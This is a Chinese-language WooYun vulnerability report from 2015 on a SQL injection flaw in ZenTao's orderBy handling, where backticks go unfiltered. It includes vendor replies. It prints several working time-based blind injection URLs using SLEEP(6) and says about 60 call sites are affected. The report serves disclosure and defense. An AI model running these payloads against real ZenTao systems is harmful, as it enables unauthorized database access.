漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0150967
漏洞标题:禅道系统设计缺陷导致多处鸡肋注入
相关厂商:禅道
漏洞作者: 不能忍
提交时间:2015-11-04 11:08
修复时间:2015-12-17 14:48
公开时间:2015-12-17 14:48
漏洞类型:设计缺陷/逻辑错误
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航)
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开
简要描述:
主要还是过滤的问题没办法过。所以最后就只能鸡肋了
详细说明:
漏洞文件:/zentaopms/lib/dao/dao.class.php //1612行
先来分析一下这个函数:$order = str_replace(array('|', '', '_'), ' ', $order);
去掉这三个,然后接下来有3个exploded,分别对,.和空格进行分割。
最后$this->sql .= ' ' . DAO::ORDERBY . " $order";这里是用`(反引号)进行分割和闭合用户提交过来的数据。但是并没有对反引号进行过滤,所以我们可以大概构造一个payload:
http://localhost/www/project-bug-build-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`.html
但是同时这边是有个问题的,就是不能提交_所以没有办法提取到表的数据,这么一来这个设计缺陷的sql注入就显得鸡肋了,当然有root权限的话还是威胁很大的。
来看看调用这个函数的情况:
60多处,也就是说这个设计缺陷可能导致60多处的sql注入,虽然这个注入比较鸡肋,但是还是存在一定的威胁的。
随便来两个payload:
http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
漏洞证明:
http://localhost/www/project-browse-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
http://localhost/www/project-task-2-unclosed-0-id`and(SELECT(1)FROM(SELECT(SLEEP(6)))test)and(1=1)and`-0-100.html
修复方案:
版权声明:转载请注明来源 不能忍@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2015-11-04 11:20
厂商回复:
谢谢反馈。禅道作为内部管理系统,我们假设的应用场景都是内网访问,外网的好做好访问的限制。在这个前提下,很多的问题都是可以忽略的。
内部人员的信任都无法解决的话,其实安全也没有办法解决。
最新状态:
2015-11-04:下个版本我们计划在框架层面增加统一的过滤。谢谢反馈。